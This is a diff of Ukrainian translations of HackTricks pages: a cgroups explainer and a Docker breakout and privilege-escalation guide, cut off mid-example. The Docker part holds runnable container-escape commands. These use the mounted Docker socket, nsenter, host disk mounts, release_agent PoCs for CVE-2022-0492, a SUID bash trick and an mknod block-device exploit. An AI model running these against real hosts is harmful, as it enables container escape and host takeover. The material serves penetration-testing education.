* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,29 @@
|
|||
# CGroups
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Школа взлому AWS для Червоної Команди (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Школа взлому GCP для Червоної Команди (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
**Керуючі групи Linux**, або **cgroups**, є функцією ядра Linux, яка дозволяє розподіляти, обмежувати та пріоритизувати ресурси системи, такі як процесор, пам'ять та введення/виведення даних між групами процесів. Вони пропонують механізм для **керування та ізоляції використання ресурсів** колекцій процесів, корисний для таких цілей, як обмеження ресурсів, ізоляція навантаження та пріоритизація ресурсів між різними групами процесів.
|
||||
**Керуючі групи Linux**, або **cgroups**, є функцією ядра Linux, яка дозволяє розподіляти, обмежувати та пріоритизувати ресурси системи, такі як процесор, пам'ять та введення/виведення диска серед груп процесів. Вони пропонують механізм для **керування та ізоляції використання ресурсів** колекцій процесів, корисний для таких цілей, як обмеження ресурсів, ізоляція навантаження та пріоритизація ресурсів серед різних груп процесів.
|
||||
|
||||
Існують **дві версії cgroups**: версія 1 та версія 2. Обидві можуть використовуватися одночасно на системі. Основна відмінність полягає в тому, що **версія cgroups 2** вводить **ієрархічну структуру, схожу на дерево**, що дозволяє більш детально розподіляти ресурси між групами процесів. Крім того, версія 2 вносить різні покращення, включаючи:
|
||||
Існують **дві версії cgroups**: версія 1 та версія 2. Обидві можуть використовуватися одночасно на системі. Основна відмінність полягає в тому, що **cgroups версії 2** вводить **ієрархічну структуру, схожу на дерево**, що дозволяє більш детально розподіляти ресурси серед груп процесів. Крім того, версія 2 вносить різні покращення, включаючи:
|
||||
|
||||
Крім нової ієрархічної організації, cgroups версії 2 також ввів **кілька інших змін та покращень**, таких як підтримка **нових контролерів ресурсів**, краща підтримка застарілих додатків та покращена продуктивність.
|
||||
Крім нової ієрархічної організації, cgroups версії 2 також ввів **кілька інших змін та покращень**, таких як підтримка **нових контролерів ресурсів**, краща підтримка для застарілих додатків та покращена продуктивність.
|
||||
|
||||
У цілому, cgroups **версії 2 пропонує більше функцій та кращу продуктивність** порівняно з версією 1, але останню все ще можна використовувати в певних сценаріях, де важлива сумісність зі старішими системами.
|
||||
У цілому, cgroups **версії 2 пропонує більше можливостей та кращу продуктивність** порівняно з версією 1, але останню все ще можна використовувати в певних сценаріях, де важлива сумісність зі старішими системами.
|
||||
|
||||
Ви можете переглянути cgroups v1 та v2 для будь-якого процесу, подивившись на його файл cgroup у /proc/\<pid>. Ви можете почати з перегляду cgroups вашої оболонки за допомогою цієї команди:
|
||||
```shell-session
|
||||
|
@ -39,54 +40,52 @@ $ cat /proc/self/cgroup
|
|||
1:name=systemd:/user.slice/user-1000.slice/session-2.scope
|
||||
0::/user.slice/user-1000.slice/session-2.scope
|
||||
```
|
||||
Структура виводу виглядає наступним чином:
|
||||
|
||||
- **Номери 2–12**: cgroups v1, кожен рядок представляє різний cgroup. Контролери для них вказані поруч з номером.
|
||||
- **Номер 1**: Також cgroups v1, але використовується лише для управління (встановлено, наприклад, systemd) і не має контролера.
|
||||
- **Номер 0**: Представляє cgroups v2. Контролери не вказані, і цей рядок є ексклюзивним для систем, які працюють лише з cgroups v2.
|
||||
- **Назви ієрархічні**, нагадують шляхи до файлів, вказуючи на структуру та взаємозв'язок між різними cgroups.
|
||||
- **Назви, такі як /user.slice або /system.slice**, вказують на категоризацію cgroups, де user.slice зазвичай використовується для сеансів входу, керованих systemd, а system.slice - для системних служб.
|
||||
* **Номери 2–12**: cgroups v1, кожен рядок представляє різний cgroup. Контролери для них вказані поруч з номером.
|
||||
* **Номер 1**: Також cgroups v1, але використовується лише для управління (встановлено, наприклад, systemd) і не має контролера.
|
||||
* **Номер 0**: Представляє cgroups v2. Контролери не вказані, і цей рядок є ексклюзивним для систем, які працюють лише з cgroups v2.
|
||||
* **Назви ієрархічні**, нагадують шляхи до файлів, вказуючи на структуру та взаємозв'язок між різними cgroups.
|
||||
* **Назви, такі як /user.slice або /system.slice**, вказують на категоризацію cgroups, де user.slice зазвичай використовується для сеансів входу, керованих systemd, а system.slice - для системних служб.
|
||||
|
||||
### Перегляд cgroups
|
||||
|
||||
Зазвичай для доступу до **cgroups** використовується файлова система, відхиляючись від інтерфейсу виклику системи Unix, який традиційно використовується для взаємодії з ядром. Для дослідження конфігурації cgroup оболонки слід переглянути файл **/proc/self/cgroup**, який показує cgroup оболонки. Потім, перейшовши до каталогу **/sys/fs/cgroup** (або **`/sys/fs/cgroup/unified`**), і знаходячи каталог, який має таку ж назву, як cgroup, можна спостерігати різні налаштування та інформацію про використання ресурсів, що стосуються cgroup.
|
||||
Зазвичай для доступу до **cgroups** використовується файлова система, відхиляючись від інтерфейсу викликів системи Unix, який традиційно використовується для взаємодії з ядром. Для дослідження конфігурації cgroup оболонки слід переглянути файл **/proc/self/cgroup**, який показує cgroup оболонки. Потім, перейшовши до каталогу **/sys/fs/cgroup** (або **`/sys/fs/cgroup/unified`**), і знаходячи каталог з ім'ям cgroup, можна спостерігати різні налаштування та інформацію про використання ресурсів, які стосуються cgroup.
|
||||
|
||||
![Файлова система Cgroup](../../../.gitbook/assets/image%20(10)%20(2)%20(2).png)
|
||||
![Файлова система Cgroup](<../../../.gitbook/assets/image (1128).png>)
|
||||
|
||||
Ключові файли інтерфейсу для cgroups починаються з **cgroup**. Файл **cgroup.procs**, який можна переглянути за допомогою стандартних команд, таких як cat, містить перелік процесів у cgroup. Інший файл, **cgroup.threads**, включає інформацію про потоки.
|
||||
Ключові файли інтерфейсу для cgroups починаються з **cgroup**. Файл **cgroup.procs**, який можна переглянути за допомогою стандартних команд, таких як cat, містить перелік процесів у cgroup. Інший файл, **cgroup.threads**, містить інформацію про потоки.
|
||||
|
||||
![Cgroup Procs](../../../.gitbook/assets/image%20(1)%20(1)%20(5).png)
|
||||
![Cgroup Procs](<../../../.gitbook/assets/image (281).png>)
|
||||
|
||||
Cgroups, які керують оболонками, зазвичай включають два контролера, які регулюють використання пам'яті та кількість процесів. Для взаємодії з контролером слід переглянути файли, які мають префікс контролера. Наприклад, **pids.current** слід переглянути, щоб визначити кількість потоків у cgroup.
|
||||
Cgroups, які керують оболонками, зазвичай включають два контролера, які регулюють використання пам'яті та кількість процесів. Для взаємодії з контролером слід переглянути файли, які мають префікс контролера. Наприклад, **pids.current** слід перевірити, щоб визначити кількість потоків у cgroup.
|
||||
|
||||
![Пам'ять Cgroup](../../../.gitbook/assets/image%20(3)%20(5).png)
|
||||
![Пам'ять Cgroup](<../../../.gitbook/assets/image (677).png>)
|
||||
|
||||
Позначення **max** у значенні вказує на відсутність конкретного обмеження для cgroup. Однак через ієрархічний характер cgroups, обмеження можуть бути накладені cgroup на нижчому рівні в ієрархії каталогів.
|
||||
|
||||
|
||||
### Маніпулювання та створення cgroups
|
||||
|
||||
Процеси призначаються cgroups шляхом **запису їх ідентифікатора процесу (PID) у файл `cgroup.procs`**. Це вимагає привілеїв root. Наприклад, щоб додати процес:
|
||||
```bash
|
||||
echo [pid] > cgroup.procs
|
||||
```
|
||||
Аналогічно, **зміна атрибутів cgroup, таких як встановлення обмеження PID**, виконується шляхом запису бажаного значення у відповідний файл. Щоб встановити максимум 3,000 PID для cgroup:
|
||||
Аналогічно, **зміна атрибутів cgroup, таких як встановлення обмеження PID**, виконується шляхом запису бажаного значення у відповідний файл. Щоб встановити максимум 3 000 PID для cgroup:
|
||||
```bash
|
||||
echo 3000 > pids.max
|
||||
```
|
||||
**Створення нових cgroups** включає створення нової піддиректорії в ієрархії cgroup, що спонукає ядро автоматично генерувати необхідні інтерфейсні файли. Хоча cgroups без активних процесів можна видалити за допомогою `rmdir`, слід пам'ятати про певні обмеження:
|
||||
**Створення нових cgroups** передбачає створення нової піддиректорії у ієрархії cgroup, що спонукає ядро автоматично генерувати необхідні інтерфейсні файли. Хоча cgroups без активних процесів можна видалити за допомогою `rmdir`, слід пам'ятати про певні обмеження:
|
||||
|
||||
- **Процеси можуть бути розміщені лише в листових cgroups** (тобто найбільш вкладених в ієрархії).
|
||||
- **Cgroup не може мати контролера, відсутнього в його батьківському cgroup**.
|
||||
- **Контролери для дочірніх cgroups повинні бути явно вказані** в файлі `cgroup.subtree_control`. Наприклад, щоб увімкнути контролери CPU та PID в дочірньому cgroup:
|
||||
* **Процеси можуть бути розміщені лише в листових cgroups** (тобто найбільш вкладених у ієрархії).
|
||||
* **Cgroup не може мати контролера, відсутнього у його батька**.
|
||||
* **Контролери для дочірніх cgroups повинні бути явно вказані** у файлі `cgroup.subtree_control`. Наприклад, щоб увімкнути контролери CPU та PID у дочірньому cgroup:
|
||||
```bash
|
||||
echo "+cpu +pids" > cgroup.subtree_control
|
||||
```
|
||||
**Коренева cgroup** є винятком з цих правил, що дозволяє пряме розміщення процесів. Це можна використовувати для видалення процесів з управління systemd.
|
||||
|
||||
**Моніторинг використання ЦП** в межах cgroup можливий за допомогою файлу `cpu.stat`, який відображає загальний час ЦП, витрачений на процес, корисний для відстеження використання у підпроцесах служби:
|
||||
**Моніторинг використання ЦП** в межах cgroup можливий через файл `cpu.stat`, який відображає загальний час ЦП, витрачений на процес, корисний для відстеження використання усередині підпроцесів служби:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (6) (3).png" alt=""><figcaption>Статистика використання ЦП, як показано в файлі cpu.stat</figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (908).png" alt=""><figcaption><p>Статистика використання ЦП, як показано в файлі cpu.stat</p></figcaption></figure>
|
||||
|
||||
## References
|
||||
|
||||
## Посилання
|
||||
* **Книга: Як працює Linux, 3-є видання: Що кожен суперкористувач повинен знати Браяна Ворда**
|
||||
|
|
|
@ -1,26 +1,27 @@
|
|||
# Docker Breakout / Privilege Escalation
|
||||
# Втеча з Docker / Підвищення привілеїв
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) від HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) від HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), щоб легко створювати та **автоматизувати робочі процеси** за допомогою найбільш **продвинутих** інструментів спільноти у світі.\
|
||||
Використовуйте [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) для легкої побудови та **автоматизації робочих процесів** за допомогою найбільш **продвинутих** інструментів спільноти у світі.\
|
||||
Отримайте доступ сьогодні:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
|
||||
|
||||
## Автоматичне перелічення та втеча
|
||||
|
||||
|
@ -34,15 +35,12 @@
|
|||
|
||||
Якщо ви якимось чином виявите, що **сокет Docker підключений** всередині контейнера Docker, ви зможете втекти з нього.\
|
||||
Це зазвичай трапляється в контейнерах Docker, які з якоїсь причини потребують підключення до демона Docker для виконання дій.
|
||||
|
||||
```bash
|
||||
#Search the socket
|
||||
find / -name docker.sock 2>/dev/null
|
||||
#It's usually in /run/docker.sock
|
||||
```
|
||||
|
||||
У цьому випадку ви можете використовувати звичайні команди docker для взаємодії з демоном docker:
|
||||
|
||||
```bash
|
||||
#List images to use one
|
||||
docker images
|
||||
|
@ -56,9 +54,8 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
|
|||
# Get full privs in container without --privileged
|
||||
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
|
||||
```
|
||||
|
||||
{% hint style="info" %}
|
||||
У випадку, якщо **сокет docker знаходиться в неочікуваному місці**, ви все ще можете спілкуватися з ним, використовуючи команду **`docker`** з параметром **`-H unix:///path/to/docker.sock`**
|
||||
У випадку, якщо **сокет docker** знаходиться в неочікуваному місці, ви все ще можете спілкуватися з ним, використовуючи команду **`docker`** з параметром **`-H unix:///path/to/docker.sock`**
|
||||
{% endhint %}
|
||||
|
||||
Демон Docker також може [слухати порт (за замовчуванням 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) або на системах на основі Systemd, комунікація з демоном Docker може відбуватися через сокет Systemd `fd://`.
|
||||
|
@ -76,14 +73,12 @@ docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --se
|
|||
|
||||
## Втеча від зловживання можливостями
|
||||
|
||||
Вам слід перевірити можливості контейнера, якщо він має будь-які з наступних, ви, можливо, зможете втекти з нього: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
|
||||
Вам слід перевірити можливості контейнера, якщо він має будь-які з наступних, ви можете втекти з нього: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`**
|
||||
|
||||
Ви можете перевірити поточні можливості контейнера, використовуючи **зазначені раніше автоматичні інструменти** або:
|
||||
|
||||
```bash
|
||||
capsh --print
|
||||
```
|
||||
|
||||
На наступній сторінці ви можете **дізнатися більше про можливості Linux** та як їх зловживати для втечі/підвищення привілеїв:
|
||||
|
||||
{% content-ref url="../../linux-capabilities.md" %}
|
||||
|
@ -104,7 +99,7 @@ capsh --print
|
|||
* `--cgroupns=host`
|
||||
* `Mount /dev`
|
||||
|
||||
Прапорець `--privileged` значно знижує безпеку контейнера, пропонуючи **необмежений доступ до пристроїв** та обхід **кількох захистів**. Для докладного розбору дивіться документацію щодо повного впливу `--privileged`.
|
||||
Прапорець `--privileged` значно знижує безпеку контейнера, надаючи **необмежений доступ до пристроїв** та обхід **кількох захистів**. Для докладного розбору дивіться документацію щодо повного впливу `--privileged`.
|
||||
|
||||
{% content-ref url="../docker-privileged.md" %}
|
||||
[docker-privileged.md](../docker-privileged.md)
|
||||
|
@ -115,40 +110,33 @@ capsh --print
|
|||
З цими дозволами ви можете просто **перейти до простору імен процесу, що працює на хості як root**, наприклад init (pid:1), просто виконавши: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash`
|
||||
|
||||
Перевірте це в контейнері, виконавши:
|
||||
|
||||
```bash
|
||||
docker run --rm -it --pid=host --privileged ubuntu bash
|
||||
```
|
||||
|
||||
### Привілейований
|
||||
|
||||
Лише з прапорцем privileged ви можете спробувати **отримати доступ до диска хоста** або спробувати **втекти, зловживаючи release\_agent або інші втечі**.
|
||||
Лише з прапорцем privileged ви можете спробувати **отримати доступ до диска хоста** або спробувати **втечі, зловживаючи release\_agent або іншими втечами**.
|
||||
|
||||
Перевірте наступні обхідні шляхи в контейнері, виконавши:
|
||||
|
||||
```bash
|
||||
docker run --rm -it --privileged ubuntu bash
|
||||
```
|
||||
|
||||
#### Підключення диска - Poc1
|
||||
|
||||
Налаштовані належним чином контейнери Docker не дозволять виконати команду, таку як **fdisk -l**. Однак на неправильно налаштованій команді Docker, де вказано прапорці `--privileged` або `--device=/dev/sda1` з правами, можливо отримати привілеї для перегляду диска хоста.
|
||||
Налаштовані належним чином контейнери Docker не дозволять виконання команди, наприклад **fdisk -l**. Однак при неправильній конфігурації команди Docker, де вказано прапорці `--privileged` або `--device=/dev/sda1` з правами, можливо отримати привілеї для перегляду диска хоста.
|
||||
|
||||
![](https://bestestredteam.com/content/images/2019/08/image-16.png)
|
||||
|
||||
Таким чином, для захоплення хост-машини це тривіально:
|
||||
|
||||
Отже, для заволодіння хост-машини це тривіально:
|
||||
```bash
|
||||
mkdir -p /mnt/hola
|
||||
mount /dev/sda1 /mnt/hola
|
||||
```
|
||||
|
||||
І ось! Тепер ви можете отримати доступ до файлової системи хоста, оскільки вона змонтована в папці `/mnt/hola`.
|
||||
|
||||
#### Монтування диска - Poc2
|
||||
|
||||
У межах контейнера зловмисник може спробувати отримати додатковий доступ до основної операційної системи хоста за допомогою записного тома hostPath, створеного кластером. Нижче наведено деякі загальні речі, які ви можете перевірити у межах контейнера, щоб побачити, чи використовуєте ви цей вектор атаки:
|
||||
|
||||
У контейнері зловмисник може спробувати отримати додатковий доступ до базової операційної системи хоста за допомогою записного тома hostPath, створеного кластером. Нижче наведено деякі загальні речі, які ви можете перевірити у контейнері, щоб побачити, чи використовуєте ви цей вектор атаки:
|
||||
```bash
|
||||
### Check if You Can Write to a File-system
|
||||
echo 1 > /proc/sysrq-trigger
|
||||
|
@ -169,8 +157,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to
|
|||
### debugfs (Interactive File System Debugger)
|
||||
debugfs /dev/sda1
|
||||
```
|
||||
|
||||
#### Привілейований вихід за допомогою існуючого release\_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
|
||||
#### Привілейоване втеча за допомогою існуючого release\_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1
|
||||
|
||||
{% code title="Початковий PoC" %}
|
||||
```bash
|
||||
|
@ -208,7 +195,7 @@ cat /o
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
#### Привілейований вихід за допомогою створеного release\_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
|
||||
#### Привілейоване уникнення за допомогою створеного release\_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
|
||||
|
||||
{% code title="Другий PoC" %}
|
||||
```bash
|
||||
|
@ -260,14 +247,13 @@ cat /output
|
|||
[docker-release\_agent-cgroups-escape.md](docker-release\_agent-cgroups-escape.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
#### Привілейоване втеча, використовуючи release\_agent без знання відносного шляху - PoC3
|
||||
#### Привілейоване втеча, використовуючи release\_agent без відомого відносного шляху - PoC3
|
||||
|
||||
У попередніх вразливостях **відкритий абсолютний шлях контейнера в файловій системі хоста**. Однак це не завжди так. У випадках, коли ви **не знаєте абсолютний шлях контейнера в хості**, ви можете використовувати цю техніку:
|
||||
У попередніх вразливостях **відкритий абсолютний шлях контейнера в системі хоста**. Однак це не завжди так. У випадках, коли ви **не знаєте абсолютний шлях контейнера в системі хоста**, ви можете використовувати цю техніку:
|
||||
|
||||
{% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %}
|
||||
[release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
|
@ -327,9 +313,7 @@ sleep 1
|
|||
echo "Done! Output:"
|
||||
cat ${OUTPUT_PATH}
|
||||
```
|
||||
|
||||
Виконання PoC у привілейованому контейнері повинно надати вивід, схожий на:
|
||||
|
||||
Виконання PoC у привілейованому контейнері повинно надати вихідні дані, схожі на:
|
||||
```bash
|
||||
root@container:~$ ./release_agent_pid_brute.sh
|
||||
Checking pid 100
|
||||
|
@ -357,17 +341,16 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
|
|||
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
||||
...
|
||||
```
|
||||
#### Привілейоване уникнення, зловживання чутливими монтуваннями
|
||||
|
||||
#### Привілейоване уникнення за допомогою чутливих монтажів
|
||||
|
||||
Існує кілька файлів, які можуть бути змонтовані та надавати **інформацію про базовий хост**. Деякі з них можуть навіть вказувати на **щось, що повинно виконуватися хостом при виникненні певної події** (що дозволить зловмиснику вийти з контейнера).\
|
||||
Існує кілька файлів, які можуть бути змонтовані та надати **інформацію про базовий хост**. Деякі з них можуть навіть вказувати на **щось, що повинно виконатися хостом при виникненні певної події** (що дозволить зловмиснику вийти з контейнера).\
|
||||
Зловживання цими файлами може дозволити:
|
||||
|
||||
* release\_agent (вже розглянуто раніше)
|
||||
* [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc)
|
||||
* [core\_pattern](sensitive-mounts.md#proc-sys-kernel-core\_pattern)
|
||||
* [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper)
|
||||
* [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)
|
||||
- release\_agent (вже розглянуто раніше)
|
||||
- [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc)
|
||||
- [core\_pattern](sensitive-mounts.md#proc-sys-kernel-core\_pattern)
|
||||
- [uevent\_helper](sensitive-mounts.md#sys-kernel-uevent\_helper)
|
||||
- [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe)
|
||||
|
||||
Однак ви можете знайти **інші чутливі файли**, які варто перевірити на цій сторінці:
|
||||
|
||||
|
@ -375,19 +358,16 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
|
|||
[sensitive-mounts.md](sensitive-mounts.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Довільні монтажі
|
||||
### Довільні монтування
|
||||
|
||||
У декількох випадках ви можете виявити, що **контейнер має деякий обсяг, змонтований з хоста**. Якщо цей обсяг не був належним чином налаштований, ви можете мати можливість **отримати/змінити чутливі дані**: читати секрети, змінювати ssh authorized\_keys...
|
||||
|
||||
```bash
|
||||
docker run --rm -it -v /:/host ubuntu bash
|
||||
```
|
||||
|
||||
### Підвищення привілеїв за допомогою 2 оболонок та монтування хоста
|
||||
|
||||
Якщо у вас є доступ як **root всередині контейнера**, в якому монтується деяка папка з хоста, і ви **вийшли як не привілейований користувач на хост**, і маєте доступ на читання до змонтованої папки.\
|
||||
Ви можете створити **bash suid файл** в **змонтованій папці** всередині **контейнера** і **виконати його з хоста** для підвищення привілеїв.
|
||||
|
||||
Якщо у вас є доступ як **root всередині контейнера**, який має деяку теку з хоста змонтовану, і ви **вийшли як не привілейований користувач на хості** та маєте доступ на читання до змонтованої теки.\
|
||||
Ви можете створити **bash suid файл** в **змонтованій теці** всередині **контейнера** та **виконати його з хоста** для підвищення привілеїв.
|
||||
```bash
|
||||
cp /bin/bash . #From non priv inside mounted folder
|
||||
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
|
||||
|
@ -395,16 +375,14 @@ chown root:root bash #From container as root inside mounted folder
|
|||
chmod 4777 bash #From container as root inside mounted folder
|
||||
bash -p #From non priv inside mounted folder
|
||||
```
|
||||
|
||||
### Підвищення привілеїв за допомогою 2 оболонок
|
||||
|
||||
Якщо у вас є доступ як **root всередині контейнера** і ви **вибралися як не привілейований користувач на хості**, ви можете зловживати обома оболонками для **підвищення привілеїв всередині хоста**, якщо у вас є можливість MKNOD всередині контейнера (це за замовчуванням), як пояснено в цьому [**пості**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
|
||||
З такою можливістю користувач root всередині контейнера може **створювати файли блочних пристроїв**. Файли пристроїв - це спеціальні файли, які використовуються для **доступу до апаратного забезпечення та ядра**. Наприклад, файл блочного пристрою /dev/sda надає доступ до **читання сирої інформації на диску системи**.
|
||||
Якщо у вас є доступ як **root всередині контейнера** і ви **вийшли як не привілейований користувач на хост**, ви можете зловживати обома оболонками, щоб **підвищити привілеї на хості**, якщо у вас є можливість MKNOD всередині контейнера (це за замовчуванням), як [**пояснено в цьому пості**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\
|
||||
З такою можливістю користувач root всередині контейнера може **створювати файли блочних пристроїв**. Файли пристроїв - це спеціальні файли, які використовуються для **доступу до апаратного забезпечення та модулів ядра**. Наприклад, файл блочного пристрою /dev/sda надає доступ до **читання сирої інформації на диску системи**.
|
||||
|
||||
Docker захищає від зловживання блочними пристроями всередині контейнерів, застосовуючи політику cgroup, яка **блокує операції читання/запису блочних пристроїв**. Однак, якщо блочний пристрій **створений всередині контейнера**, він стає доступним ззовні контейнера через каталог **/proc/PID/root/**. Для цього доступу потрібно, щоб **власник процесу був однаковим** як всередині, так і ззовні контейнера.
|
||||
|
||||
Приклад **експлуатації** з цього [**опису**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/):
|
||||
|
||||
```bash
|
||||
# On the container as root
|
||||
cd /
|
||||
|
